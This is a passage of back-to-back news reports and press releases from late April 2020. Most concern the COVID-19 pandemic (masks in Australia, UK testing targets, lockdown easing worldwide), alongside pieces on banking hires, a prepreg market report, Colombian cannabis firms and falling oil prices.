Akshara in Yeh Rishta Kya Kehlata Hai, fell in love with Rocky on the sets of the show. While she was in front of the camera, he was a supervising producer on the show. Earlier this year, Hina was seen in the film Hacked, which revolves around the subject of cyber crime. She has also acted in a recently released short film titled Smartphone. Also see: Karan Johars son Yash is fed up, daughter Roohi threatens to leave the house. Watch hilarious video Recently, in an interview with IANS, Hina opened up about how she has been spending her days in lockdown. From cooking to cleaning to working out to watching stuff online, I have been diverting my mind with things that are positive and productive. Right now its best doing what you like doing more than anything else, to deal with the home quarantine phase in a better way, she said. India is under lockdown till May 3, at least, to control the spread of the coronavirus. Hina said that even once the lockdown is lifted, it will take some time for things to return to normalcy. I feel that even when the lockdown is over, getting back to the normal way of life like it was before this whole scenario began, is honestly going to take a lot of time. So even if there are things I want to do, its all going to be done with keeping necessary precautions in mind first, she said. Follow @htshowbiz for more SHARE THIS ARTICLE ON Wearing face masks in public should be mandatory as part of measures to prevent a second wave of coronavirus after lockdown ends, a top expert claims. Australians are advised against wearing masks at all unless they are confirmed to have the deadly disease, in contrast to the U.S. and parts of Europe. Most Asian countries, by contrast, strongly insist they are worn and ban residents from public transport and many other areas if they don't have one. University of NSW professor Bill Bowtell argues Australia should go a step further and make masks mandatory as restrictions are eased. Wearing face masks in public should be mandatory as part of measures to prevent a second wave of coronavirus after lockdown ends, a top expert claims (pictured: woman wears face mask outside pop-up COVID-19 testing clinic in Bondi) 'They have to be mandatory because otherwise people will get too complacent and think everything is back to normal,' he told Daily Mail Australia. 'You have a better chance of resisting it if you wear a mask and they prevent asymptomatic people from passing it to others.' From Friday, NSW will let households to have two visitors for social, Queensland will permit outdoor activities, and Western Australia allow gathering of 10 people. Professor Bowtell cautioned that relaxing restrictions should happen slowly and gradually and be coupled with other measures to make up for them. He said mandatory face masks should be 'part of an armoury of tools' including vastly expanded testing and enhanced contact tracing. 'No one thing works, we need to have a suite of measures or we risk losing the gains we have made,' he said. Most Asian countries, by contrast, strongly insist they are worn and ban residents from public transport and many other areas if they don't have one (Shanghai's subway is pictured) By contrast, in Australia it is rare to see anyone wearing a mask as they walk outside, even at the height of the pandemic, and there is no official advice to do so Professor Bowtell, who led Australia's response to the 1980s AIDS crisis, said face masks could also allow more businesses like bars and cafes to safely reopen. 'Face masks will be a very important part of limiting liability for anyone operating a business, along with cleaning and disinfection,' he said. 'If you're going to relax restrictions you have to have continual cleaning of areas where people are likely to get together.' Professor Bowtell on Monday reiterated his fears of a potential second wave of coronavirus in Australia as people were allowed to mingle more. 'The very concerning increase in COVID-19 infections in northwest Tasmania shows how rapidly things can deteriorate,' he wrote in a tweet on Monday. 'All gains are conditional and simply must not be taken for granted.' He also said the government's coronavirus app, which has been downloaded two million times since its launch on Sunday night, was another vital tool. 'Contact tracing is vitally important part of living with coronavirus in Australia over indefinite future,' he wrote. Not all masks are created equal: Single-use masks and surgical masks have larger pores which the coronavirus can easily slip through. A more expensive N95 mask is the gold standard for healthcare workers fighting infectious diseases However, Australian health authorities have resisted calls to even recommend wearing masks as their position is that they are of little use. 'Surgical masks in the community are only helpful in preventing people who have coronavirus disease from spreading it to others,' official Health Department advise states. 'If you are well, you do not need to wear a surgical mask as there is little evidence supporting the widespread use of surgical masks in healthy people to prevent transmission in public.' Deputy Chief Medical Officer Paul Kelly said earlier this month that the general public wearing them would be a 'waste of masks' and even dangerous. 'In terms of mask use in the community, I would stress again, at the moment we do not think it is a good idea, partly because of the constraints around supply,' he said. Professor Kelly said those who wear the mask incorrectly can find it quite uncomfortable, meaning they will have to touch their face and potentially expose themselves to coronavirus. 'If you are not used to wearing a mask, it can become quite uncomfortable, even claustrophobic, and... quite edgy underneath the mask,' he said. 'So touching a surface with the virus, scratching yourself underneath the mask, could actually increase your risk rather than decrease your risk. 'There would need to be a strong conversation about how to fit a mask properly and how to use it safely and effectively.' Australia has in recent weeks manufactured millions of masks for health workers and received shipments of millions more from overseas, including China. Australia's official position contrasts with most of Asia, where face masks are almost universal and mandated in many areas Passengers wear protective masks while riding a subway train in Shanghai, China Face masks are commonplace in East Asia - pictured, Japanese Prime Minister Shinzo Abe and ministers around him are pictured wearing them yesterday However, a small minority of Australians wear them anyway and some institutions are demanding they be used. An elite girls' school in North Sydney from Monday required students to wear masks on school grounds and be temperature checked at the gate. Wenona School principal Dr Briony Scott sent a note home on Friday advising them of the rule as the school begins to make a staggered return to the campus. 'If there is no mask, there is no class. If there is no mask, there is no play,' the note read, and also banned parents from campus. NSW Premier Gladys Berejiklian said there was no rationale for the policy but the school, as a private institution, was free to do what it liked. 'That's not backed up by the health advice. If independent schools choose to do over and above what the advice is, that's a matter for them,' she said. Australia's official position contrasts with most of Asia, where face masks are almost universal and mandated in many areas. The U.S. also recently reversed course with its Centre for Disease Control now recommending Americans wear masks in public. 'From recent studies we know that transmissions from individuals without symptoms is playing a more significant role in the spread of the virus than previously understood, so you don't seem to have symptoms and it still gets transferred,' President Donald Trump said on April 3. 'In light of these studies the CDC is advising the sue of non-medical cloth face covering as an additional voluntary public health measure.' Colorado Governor Jared Polis holds up a face mask at a press conference to encourage their use The CDC official advice recommends wearing 'cloth face coverings in public settings where other social distancing measures are difficult to maintain'. These included supermarkets and pharmacies, and especially in areas of 'significant community-based transmission'. 'CDC also advises the use of simple cloth face coverings to slow the spread of the virus and help people who may have the virus and do not know it from transmitting it to others,' it said. New York state Governor Andrew Cuomo ordered residents to wear masks in public, and threatened fines if they were not worn on public transport. 'If you are going to be in a situation, in public, where you come into contact with other people in a situation that is not socially distanced, you must have a mask or a cloth covering nose and mouth,' he said. 'If there's widespread noncompliance, could we go to civil penalty or could I say you can't be on the trains or buses unless you wear a mask, you could get there.' The World Health Organisation is also reconsidering its advice after a study found coughs and sneezes could spread virus particles up to 8m in a cloud around an infected patient. Matt Hancock today agreed to a 100 bet that the UK will meet its target of 100,000 coronavirus tests a day by the end of the month - despite not even being halfway there yet. The charitable bet adds pressure onto the Health Secretary to fulfil the 100,000 tests per day he promised would be met by the 'end of April'. He insists the task is 'on track' despite vocal scepticism from the outset. But statistics revealed this morning show that just 37,024 were carried out in Britain in the 24 hours to 9am yesterday, the latest day for which figures are available. Cabinet Office Minister Michael Gove today also confirmed to MPs in the House of Commons that the true number of tests carried out will not be known until Saturday because of of the time it takes to turn around results of home tests that were launched online this week. Home-testing kits for critical workers, which can be booked on an online portal in a 'first come, first served' basis, ran out this morning for the fifth day in a row. Some 10,000 tests were scooped up within hours after they were made available at 8am this morning, including 7,000 in the first hour. None were available by 11.50am. Appearing on LBC to discuss Britain's testing debacle with presenter Nick Ferrari, Mr Hancock was asked by Mr Ferrari if he would agree to a wager. The presenter said: 'Are you prepared to have a 100 wager, and I will never be happier to write a cheque for 100, when you deliver that 100,000 tests on May the first and the money goes to NHS charities. Are you up for the bet, Mr Hancock?' Mr Hancock tried to swerve, saying: Ive got enough riding on this already, Nick.' But eventually he agreed, insisting the money, if he won, went to the Hospices UK charity. Matt Hancock has agreed to 100 bet with LBC presenter Nick Ferrari that the UK will meet its target of 100,000 coronavirus tests a day by the end of the month - despite not even being halfway yet. Pictured, the line shows how many people have been tested per day in the UK 22,000 of the 26,000 available drive-through testing site appointments had been booked by key workers within an hour of availability this morning, No 10 said. Pictured, a drive-in testing facility being operated by the armed forces at the Chessington World of Adventures today Asked if it was possible to meet the target of 100,000 daily tests by the end of April, Mr Hancock said it was a 'big task'. He told Mr Ferrari: 'The plan was always to have a big ramp-up at the end of April because I spent April putting in place the systems to take this from an individual lab-by-lab process hand-done to an essentially automated process with an automatic application online. 'Since that went live at the end of last week we have seen a very rapid rise. 'We're still on track but it's a big big task. There's a lot of things that we need to get right so there's no guarantees in this life but we still are on track.' He spoke before Mr Gove made a statement on coronavirus in the Commons. Asked about the tests and when the results would be ready, he said: 'There has been some confusion over capacity and tests administered. 'The target is tests administered and the figure for the tests administered on Thursday, which is the day that we have set for the target, will be published on Saturday.' The 100,000 tests per days covers the Government's five pillars of testing, which includes patients in hospital, NHS and key workers and their household members. But official data shows capacity hasn't even reached halfway, with 37,000 conducted on Sunday. Figures for Monday will be released imminently. More than 10million key workers and their households are now eligible for COVID-19 tests as officials race to expand capacity. But as of 11.50am today home testing kits for England were listed as 'unavailable' on the gov.uk/coronavirus website. Some 10,000 kits were put onto the system - double that of previous days - which were all taken within hours. More than 7,000 were ordered in the first hour of availability from 8am, Downing Street said, and 22,000 of the 26,000 available drive-through testing site appointments had also been booked. Yesterday 5,000 home kits ran out 65 minutes after booking slots reopened, which was an improvement on the two minutes when the scheme launched on Friday. Dr Chaand Nagpaul, chairman of the British Medical Association (BMA) council, said yesterday that the online booking system 'offered no practical help' to healthcare workers in a blow to the Government's aim to improve accessibility. He said the current testing capacity is 'well, well short' of the number of healthcare staff who are currently self-isolating. 'Our estimate is that there are about 90,000 health and care staff self-isolating based upon the government figures of absence rates,' he said. 'If the government wants healthcare workers to have access to the test, it has to be in the context or providing adequate capacity, not a "first come first served" and closing within an hour.' There are now 16 operational military-run mobile testing sites: Torquay, Hereford, Boston, Salisbury, Bishop Auckland, Barnet, Northampton, Grimsby, Skegness, Blackpool, Macclesfield, Ramsgate, Harwich, Barnsley, Grantham and Kendal. The Government hopes to have 96 mobile testing facilities by the start of May. Home testing kits for NHS and critical workers have run out today after 10,000 were made available at 8am this morning. Test site appointments have run out in Wales Mr Hancock agreed a 100 bet with LBC host Nick Ferrari (pictured), promising to give the money to Hospice UK if the target is met by May 1 But Mr Hancock insists the task for 100,000 tests a day is 'on track' despite scepticism from the outset. He is pictured on LBC Timeline of the virus testing website launch FRIDAY 6am: Government's new coronavirus testing website launches 6.02am: Stock of 5,000 home kits are all ordered in just two minutes 10am: 15,000 drive-through slots are all booked as new registrations close SATURDAY 8am: More tests released on website 8.15am: All 5,000 home kits are taken 10am: No more drive-through tests available to book in England SUNDAY 8am: More tests are launched 10am: Home testing kits are again listed as 'unavailable' MONDAY 8am: Availability of home and drive-through tests goes live again 9.05am: Home tests no longer available 12pm: Only drive-through tests in England and Scotland are left TUESDAY 8am: 10,000 home tests are made available on the website 9am: More than 7,000 were ordered in the first hour of availability, Downing Street said By 8am 22,000 of the 26,000 available drive-through testing site appointments had also been booked, the Prime Ministers spokesman said Advertisement It will not become clear if the Government has reached it's 100,000 per day target until next week, according to officials. The Prime Ministers spokesman said yesterday it will be 'difficult to know' if the coronavirus testing target had been on Friday due to a lag in getting results back. 'For example, home testing kits can take up to 72 hours to get the results for, and therefore show up in the numbers', the spokesperson said. However, it is unclear why. Up until now, the daily test figure reported by the Department of Health and Social Care has been from 24 hours prior. For example, on Monday it reported that 37,024 tests were 'on 26 April' - the day before. Since the outbreak began, 719,910 tests have been carried out in total, around 200,000 of which were repeat tests. Of 569,768 people who have been tested, 157,149 had a positive result as of 5pm on April 26 and 21,000 have died. But the figure is thought to be more like 32,600 - 55 per cent higher than the daily Government statistics let on. Weekly data released by the Office for National Statistics today showed that deaths outside of hospitals pushed England and Wales's death toll to 22,351 for April 17, a significant rise on the 14,451 announced on that date by the Department of Health. If the same increase - 54.6 per cent - were applied to the total death toll confirmed yesterday (21,092) it could mean the real number of victims is 32,608. The latest figures from the National Records of Scotland, published last week, showed 1,616 deaths involving Covid-19 had been registered in Scotland up to April 19. And the latest figures from the Northern Ireland Statistics and Research Agency, also published last week, showed 276 deaths involving Covid-19 had been registered in Northern Ireland up to April 22. Updated figures from the National Records of Scotland are due to be published tomorrow, and from the Northern Ireland Statistics and Research Agency on Friday. A group of state senators is pushing to provide more funding to health departments in the downstate communities they represent. Sen. Andy Manar, D-Bunker Hill, is among those wanting the amount provided to the agencies to double in the coming year. His plan would add $36 million to the states Local Health Protection Grants. Our states response and recovery will require 97 fully staffed local health departments to continue to do their part each and every day to prevent the spread of COVID-19, Manar said. They are the first line of response and are the foundation to reopening the economy. Manar is the chairman of the Senates two appropriations committees and the lead budget negotiator. Sen. Rachelle Crowe, whose district covers parts of Jersey, Madison and St. Clair counties, said the state providing more funding for health departments would be reaffirming its commitment to the well-being of its residents. Manar said the funding is necessary because of the demand the coronavirus pandemic has placed on local health departments. This pandemic has demanded an unprecedented response beyond the operating capacities of most local health departments and the budgetary capacities of most county boards, so departments are already forced to spread themselves thin, Manar said. As local governments begin to grapple with balanced budgets, it is critical that local health departments remain stable and are able to respond to the spread of COVID-19 when needed. This is key to reopening the economy. By Pamela Barbaglia LONDON, April 27 (Reuters) - JPMorgan is betting on a female banker to take the helm of its investment banking business in France as it seeks to bolster its leadership in one of Europe's hardest-hit markets from the coronavirus pandemic, two sources told Reuters. The Wall Street bank has snapped up Citigroup's co-head of France investment banking, Maja Torun, to take on a similar job at its own franchise, the sources said, speaking on condition of anonymity as the matter is confidential. JPMorgan and Citi declined to comment. The move comes as big banks and corporate boardrooms in Europe are trying to fill the gender gap and open up more top jobs for women. JPMorgan kept a focus on diversity during its latest leadership reshuffling in February when it promoted two female bankers, Dorothee Blessing and Anu Aiyengar, to two power-sharing roles as co-head of EMEA investment banking and co-head of global M&A, respectively. In her new Paris-based role Torun will be part of a small circle of female banking leaders in the French capital which also includes BNP Paribas' Sophie Javary, Goldman Sachs's Anne Bizien and Citi's Laurence Parisot. Her appointment comes with the challenge of a bleak economic environment, with France bracing for a series of rescue deals, nationalizations and restructurings in the coming months. The French economy sank 6% in the first quarter of 2020 in its sharpest slowdown since World War Two. The novel coronavirus has forced the country into a prolonged lockdown, paralyzing business activity and claiming more than 23,000 lives. Torun, a specialist in mergers and acquisitions (M&A) who joined Citi in 2016 from Deutsche Bank, will lead JPMorgan's efforts to win business from cash-strapped companies seeking help to stay afloat and fend off pressure from a growing number of activist investors in France. She will fill a vacant role that will reunite her with a former Deutsche Bank colleague, Marc Pandraud, who has chaired JPMorgan's investment banking for France and Belgium since 2016. Story continues Torun first met Pandraud at Merrill Lynch where they both worked before the financial crisis forced the bank into a rescue merger with Bank of America. She then rose through the ranks quickly at Citi, winning the top job as the bank's co-head of France investment banking alongside Emmanuel Regniez in 2019 and leaving her mark after Citi topped up M&A league tables in France last year ahead of Goldman Sachs and Morgan Stanley. Torun, who holds an MBA from French business school INSEAD, is also set to join JPMorgan's France Management Committee. (Reporting by Pamela Barbaglia in London Editing by Matthew Lewis) The prepreg market in North America is expected to grow by USD 955.83 million during 2020-2024. The report also provides the market impact and new opportunities created due to the COVID-19 pandemic. The impact can be expected to be significant in the first quarter but gradually lessen in subsequent quarters with a limited impact on the full-year economic growth, according to the latest market research report by Technavio. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005798/en/ Technavio has announced its latest market research report titled Prepreg Market in North America 2020-2024 (Graphic: Business Wire) Request challenges and opportunities that influence COVID-19 pandemic Request a free sample report of the prepreg market in North America Automobile manufacturers are focusing on reducing the weight of their vehicles to improve fuel-efficiency as well as to meet the carbon emission regulations. For instance, the Corporate Average Fuel Economy (CAFE) legislation in the US has set the average fleet fuel efficiency target of 35 miles per gallon (mpg) to 36.6 mpg by 2017 and 54.5 mpg by 2025. Such regulations have increased the use of lightweight materials such as carbon fiber prepregs in various components of the vehicle. Also, carbon fiber manufacturing companies are increasing investments in R&D to develop composite materials for diverse applications in the automotive industry. Therefore, the rising demand for lightweight materials from the automotive industry is expected to drive the growth of the prepreg market in North America during the forecast period. To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR41636 As per Technavio, the wind power capacity additions will have a positive impact on the market and contribute to its growth significantly over the forecast period. This research report also analyzes other significant trends and market drivers that will influence market growth over 2020-2024. Prepreg Market in North America: Wind Power Capacity Additions Wind energy is emerging as one of the leading low-cost renewable sources of energy generation in North America. Also, the market is witnessing significant investments in total wind tower installations across the region. Thermoset prepregs are widely being used in the manufacture of wind turbines owing to their superior performance characteristics such as high strength-to-weight ratio and durability. To capitalize on this growing trend, many market vendors are increasing R&D activities to introduce technologically advanced products exclusively for wind power applications. For instance, Hexcel is offering HexPly prepreg, an advanced epoxy-resin-based carbon fiber prepreg for wind energy applications. Therefore, with the increasing wind power capacity additions, the growth of the prepreg market will gain momentum during the forecast period. "Growing efforts toward making composites eco-friendly and advances in prepreg manufacturing methods will further boost market growth during the forecast period", says a senior analyst at Technavio. Register for a free trial today and gain instant access to 17,000+ market research reports Technavio's SUBSCRIPTION platform Prepreg Market in North America: Segmentation Analysis This market research report segments the prepreg market in North America by application (aerospace defense, wind energy, automotive, and others), type (carbon fiber, glass fiber, and aramid fiber) and region (the US and Canada). The aerospace defense segment led the prepreg market in North America in 2019, followed by wind energy, automotive, and others respectively. During the forecast period, the aerospace defense segment is expected to register the highest incremental growth due to the increase in the number of air travelers. Technavio's sample reports are free of charge and contain multiple sections of the report, such as the market size and forecast, drivers, challenges, trends, and more. Request a free sample report Some of the key topics covered in the report include: Market Drivers Market Challenges Market Trends Vendor Landscape Vendors covered Vendor classification Market positioning of vendors Competitive scenario About Technavio Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provide actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005798/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ NEW YORK, April 28, 2020 /PRNewswire/ -- Lyrical Partners, L.P. (Lyrical), a New York based investment firm, announced today that industry veteran S. Fitzgerald Haney has joined the organization as Managing Director, Institutional Sales and Client Relations. Lyrical Partners, LP Amb. Haney brings over twenty-five years of executive leadership and communication experience to Lyrical. He has lived and worked on five continents and communicates effectively in four languages. Amb. Haney has served as Head of Business Development & Client Service, EMEA, at Pzena Investment Management, a value equity manager, and as Head of Strategic Development for Viola, Israel's largest technology-focused investment group. Additionally, he served as the United States Ambassador to Costa Rica from 2015 to 2017. He will work alongside Lyrical's existing global team to expand the firm's presence in institutional channels worldwide. "Fitz's combination of experiences, analytical rigor, and integrity is unique, and we're proud to welcome him to the Lyrical team," said Jeffrey Keswin, Lyrical's Founder and Managing Partner. "Lyrical aims to manage and deliver straightforward, world-class investment propositions. Consistent with this goal, Fitz will help Lyrical remain closely attuned to our investors' interests and needs." "Over the years, I've had the opportunity to interact with a remarkable array of leaders, both in the investment management field and elsewhere," said Amb. Haney. "I believe that Lyrical has charted an uncommon path and, as a result, built a particularly value-added client offering. I'm excited to join Lyrical and help expand their asset management franchise." About Lyrical Partners Lyrical Partners is a private, multi-capability investment management firm headquartered in NYC. Among other activities, through Lyrical Asset Management, it manages traditional, deep value, public equity portfolios, aggregating $4.5 billion, and, through Lyrical-Antheus Management, it manages multi-family housing real estate portfolios, aggregating $2 billion. The firm was founded in 2004 by Jeffrey Keswin. Contact: Craig Lifschutz Lyrical Partners, LP 212.415.6600 [email protected] SOURCE Lyrical Partners, LP Taking into account the fact that coronavirus infection is especially dangerous for the seniors, pensioners no longer have to visit the Bank to receive their pension cards. The cards are delivered free of charge in the whole territory of Armenia and are handed over to the cardholders observing all the safety standards and the instructions of the Ministry of Health. During the delivery, all the information security standards are observed as well: the cards are delivered in sealed envelopes, with card activation guides. Our dear retired customers only need to have passports with them. It should be reminded that the Bank, in line with the instructions of the Commandant, serves the elderly people over 60 out of turn throughout the day, and especially from 10:00 to 12:00, in order not to endanger their health. Taking care of all customers, the Bank advises to carry out banking transactions remotely through IDBanking.am (IDBank and Idram joint platform), Idram application, and to use IDBanking 24/7 spots for cash transactions. Lets help the elderly to use remote banking service! Download the Idram app here. Preform a quick synchronization to utilize all the benefits of the platform. Be healthy! We're always interested in hearing about news in our community. Let us know what's going on! Go to form Research News ZeptoMetrix leverages UB facilities to develop products for infectious disease testing including for COVID-19 By CHARLOTTE HSU Academic-university partnerships are increasingly important to enable technology innovations to reach the market faster with an impact to the populations health. Life sciences company ZeptoMetrix is leveraging resources at UB to develop new quality control products for infectious disease diagnostics, including for COVID-19. ZeptoMetrixs existing product lines include molecular controls that contain bacteria and viruses that have been altered to be non-infectious. While these controls dont cause disease, they still contain wholly intact germs, so hospitals and labs can use the controls to verify that tests for different diseases are working properly. A partnership with UBs Buffalo Institute for Genomics and Data Analytics (BIG) will help the firm expand in this market. Through BIG, ZeptoMetrix has access to a high-tech instrumentation system in UBs Center of Excellence in Bioinformatics and Life Sciences known as a digital droplet PCR platform (ddPCR) with an automated droplet generator. This equipment can measure the number of viruses or bacteria that are present in the companys controls, says Shawn Smith, president and CEO of ZeptoMetrix. Though other businesses and researchers will be able to use the instrument for a fee, ZeptoMetrix has priority access. Smith says ZeptoMetrix is leveraging the equipment from UB to develop controls for COVID-19 testing that use whole, intact, inactivated viruses. Smith expects to launch these controls soon. ZeptoMetrix used the ddPCR during its development of whole, intact non-infectious SARS-CoV-2 external run controls for use in COVID-19 testing, Smith says. The ability to quantitate virus concentration is an essential step in producing and testing these control products, which are essential to the infectious disease testing community. The United States on Tuesday recorded its one-millionth coronavirus case as countries including Spain, Russia and Nigeria took tentative steps back towards normal life by preparing to reopen some businesses. Excitement over partial easing of the lockdowns affecting more than half of humanity has been tempered by fear of new outbreaks and growing evidence of the economic devastation wreaked by the COVID-19 pandemic. The US -- where millions of jobs have gone -- reached another grim milestone as it registered 58,351 deaths, a larger loss of life than recorded by the US military in the Vietnam War. The overall US case load rose to 1,011,877 in a public health disaster that could threaten President Donald Trump's re-election chances. But some countries have reported falling infection numbers, and governments have begun to chart their way out of the shutdowns. France said Tuesday that shops, markets and selected schools could reopen next month, with face masks required on public transport and work-from-home orders staying in place for several more weeks. Prime Minister Edouard Phillipe admitted even a gradual return to normal life was "risky." Spain said restrictions would be slowly lifted over the next two months, while Italians will be able to exercise outdoors and visit relatives from next week -- but only if they wear masks and refrain from hugs and handshakes. Italy, Spain and France have been the worst affected countries in Europe, with each reporting more than 23,000 deaths. In Russia, President Vladimir Putin warned that the peak of coronavirus infections still lay ahead, saying "the situation remains very difficult." But he nonetheless said lockdown measures could be eased from next month. Data on infection rates has shown mixed results in Germany, which is being closely watched after allowing some shops to reopen last week. "We all need to take care that we don't end up with more infections," said Lothar Wieler, president of the Robert Koch Institute for disease control. - 'The cries of the people' - Experts have warned of a second wave of contagion if restrictions are lifted too hastily, and the World Health Organization has said reinfection may be possible even among recovered patients. In Nigeria's largest city Lagos, bus driver Taju Olonade told AFP a decision to ease the lockdown showed that authorities had finally listened "to the cries of the people." "For almost one month I have not earned a penny," he said. "I hope life will soon return to normal." The new coronavirus has killed at least 214,451 people since the outbreak first emerged in China in December, according to a tally compiled by AFP at 1900 GMT on Tuesday. More than three million cases have been registered in 193 countries and territories, although the official tally is widely thought to lag far behind the actual figures. The United States, which on Tuesday recorded a further 2,207 deaths in 24 hours, has seen by far the highest number of fatalities. Trump has increasingly sought to blame China, but China pushed back fiercely on Tuesday, accusing US politicians of "barefaced lies." "They have only one objective: shirk their responsibility for their own poor epidemic prevention and control measures," foreign ministry spokesman Geng Shuang told reporters. Beijing and Washington have clashed repeatedly over the outbreak. It seems to be under control in China with no new deaths reported for 13 straight days and the death toll standing at 4,633 -- although much doubt has been cast on whether the numbers are accurate. - Shattered economies - Anger at the global economic paralysis has intensified in recent weeks, and anti-government protesters took to the streets in Lebanon on Tuesday in defiance of a lockdown. "I came down to raise my voice against hunger, poverty and rising prices," Khaled, 41, told AFP, saying he had lost his job selling motorcycle parts and could no longer support his three children. In the latest sign of big business woes, British Airways is set to slash up to 12,000 jobs, its parent company said. The carrier, which has approximately 45,000 employees, has already furloughed nearly 23,000 staff. Despite other European countries moving towards reopening schools and shops, British Prime Minister Boris Johnson said it was too early for the UK to follow suit. That was in contrast to New Zealand, where people enjoyed fast food and coffee shop treats for the first time in five weeks after the country lifted its strict lockdown. "We see the difference in other countries and I don't envy them, that's for sure," said Wellington resident Cheryl Robertson, who planned to celebrate her newfound freedom with a curry. In Australia, hundreds of surfers and swimmers rushed back to the waves at Bondi Beach in Sydney, five weeks after police closed the area because of large crowds flouting social distancing rules. "I've been excited for like a week," Diane Delaurens told AFP, dripping after an early-morning surf. However, there is not yet a vaccine for the disease and Britain issued a warning of coronavirus-related syndrome emerging in children -- including abdominal pain and inflammation around the heart. "What I would also stress is that it is rare. Although it is very significant for those children who do get it, the number of cases is small," said Health Secretary Matt Hancock. In Tokyo, organizers said that the postponed 2020 Olympics will have to be canceled next year if the pandemic isn't brought under control. In Latin America, Brazil emerged as a new hotspot with 5,000 deaths so far -- more than China's -- while nine inmates were killed when rioting broke out at a prison in Lima, Peru after two inmates died from COVID-19. burs-bgs/it In recent years, Colombia has positioned itself as the star of the Latin American cannabis landscape. An ideal climate for the plant, permissive legislation and low production costs have turned the country into a major hub for international cannabis investments. Colombia started a path towards legalization in 1986, and by now has one of the most advanced regulatory systems in the continent. Companies there are allowed to file for licenses to grow and export CBD and THC products globally. The local market is growing steadily, with Khiron recently receiving permission to sell THC products to medical patients in the country. The local industry is dominated by a few players that attract investor attention above others. Although part of a leading group, these companies feature very dissimilar business models that make up their most attractive characteristics. Clever Leaves Photo by Erika Mondragon, courtesy of Clever Leaves. Clever Leaves is a producer of medical cannabis and hemp extracts that currently cultivates over 1.8 million square feet (16.7 hectares) of greenhouses in Colombia. Founded in 2016 by Andres Fajardo, Julian Wilches and Gustavo Escobar, the company merged in 2019 with Northern Swan, its main investor, making Kyle Detwiler the CEO. Its the only private company in the group of four. Clever Leaves commercializes crude cannabis oils, distillates and isolates, as well as finished products through its B2B wholesaler platform called Clever Leaves 360. Iqanna is Clever Leaves pharmaceutical branch, focused on the research, cultivation, extraction, processing, and distribution of medicinal cannabis. Additionally, Clever Leaves manages three wellness and beauty consumer brands and has a portfolio of other cannabis companies in its investment platform. Its extraction facility is currently capable of extracting 2,400 kilograms of dried flowers per month. In 2019, the company also received authorization to cultivate medical cannabis in Portugal, and has started operations in a 90-hectare Portuguese farm. Story continues Avicanna Avicannas crops in Santa Marta. Photo courtesy of Avicanna. Avicanna (TSX:AVCN) (OTCQX: AVCNF) is a bio-pharmaceutical company focused on the development and commercialization of cannabinoids exclusively for the medical cannabis, health and wellness markets. The company was co-founded in 2016 by Setu Purohit and Aras Azadian, who serve as president and CEO, respectively. Avicanna is headquartered at the Johnson & Johnson JLABS Innovation Centre in Toronto, where it handles R&D operations and exercises an exclusive research agreement with the Leslie Dan Faculty of Pharmacy at the University of Toronto. The company also cultivates and processes cannabinoids through its two majority-owned subsidiaries, Sativa Nativa and Santa Marta Golden Hemp, both located in Santa Marta, Colombia. The two make up 410,000 square feet (3.8 hectares) of cultivation capacity with production capacity of over 30,000 kg of biomass per year. The Colombian facilities produce THC, CBD, CBG and other rare cannabinoids that are utilized for the companys finished products and also offered to the global marketplace under the Aureus Santa Marta brand. Avicanna also owns Rho Phyto, a medical cannabinoid brand currently in commercialization in Canada through an exclusive partnership with Shoppers Drug Mart. Pura Earth is Avicannas CBD derma-cosmetic consumer brand, which launched for the Colombian market in November 2019, and plans to expand globally. PharmaCielo Photo Courtesy of PharmaCielo. Pharmacielo (TSXC:PCLO) is a Toronto-based cannabis company that was founded in 2014. It grows cannabis in Colombia through its wholly owned operating subsidiary PharmaCielo Colombia Holdings. Pharmacielo has 1.2 million square feet (11 hectares) under cultivation at its open air greenhouses producing 0.5 million kilograms of flower per year. Its processing capacity is over 24 metric tonnes of refined cannabis oil per year. Currently PharmaCielo commercializes CBD and THC extracts and has commercial brands under development. In 2019, the company completed its first commercial exports to Europe and the U.S. Khiron Photo courtesy of Khiron Khiron Life Sciences (OTC: KHRNF) is a vertically-integrated cannabis producer with core operations in Colombia. The startup was founded in 2017 and carries three business segments: Med, Health Services and Wellbeing. Khiron Med commercializes THC and CBD products to pharmacies in Colombia and at Khirons own medical clinics. Sales of Khirons medical high-THC cannabis commenced in Colombia in Q1 2020. The segment was also selected to provide cannabis products to Project Twenty21, a European initiative to facilitate access of medical cannabis. The company has an yearly cultivation capacity of 8,000 kilograms of dried flower and owns a 14,000 square-feet (0.13 hectares) extraction facility that is GMP and ISO compliant. Khiron Health Services manages two clinics in Colombia that work with cannabis as an alternative medicine, and also offer an array of traditional medical services including neurological, psychiatric, respiratory, urological, sleep and orthopedic attention. Khiron Wellbeing is the companys consumer-product segment, which handles Kuida, a consumer brand of cannabis-based products for beauty, lifestyle, fitness, nutrition and healthy living. Featured image courtesy of Khiron Life Sciences. See more from Benzinga 2020 Benzinga.com. Benzinga does not provide investment advice. All rights reserved. New Delhi, April 28 : US oil prices tumbled again on Tuesday with the June contract of WTI crude on the NYMEX falling nearly 20 per cent amidst a supply glut and storage concerns. The June Contract of WTI is currently at $10.24 per barrel, lower by 19.87 per cent from its previous close. The plunge in US oil prices has come on the back of renewed concerns of decline storage capacity as supply continues and demand remains nearly standstill. The latest plunge in the WTI crude in the US, comes a week after it fell below zero for the first time ever. The decline comes despite the recent output cut agreement between the Organization of Petroleum Exporting Countries (OPEC) and its allies. There were hopes that agreement would stabilise oil prices, but with the Covid-19 pandemic continuing, there has been a large slip in demand that is not letting oil prices to pick up. The current market is oversupplied on shrinking demand, creating a situation of free fall for crude. The price of oil has now reached a point that it is increasingly becoming difficult for higher cost producers to remain in operation and rather look at declaring bankruptcy. A lot of US shale producers are in deep trouble and analysts expect that low oil price for few more months willresult in a spate of bankruptcies in US. With world demand now forecast to plunge by over 20 million barrels per day, a 30 per cent drop from last year, analysts say massive production cuts will be needed beyond just what has been agreed between the Organization of the Petroleum Exporting Countries (OPEC), Russia and other producers. Brent crude oil also has declined and its June contract on the Intercontinental Exchange (ICE) is at $19.21 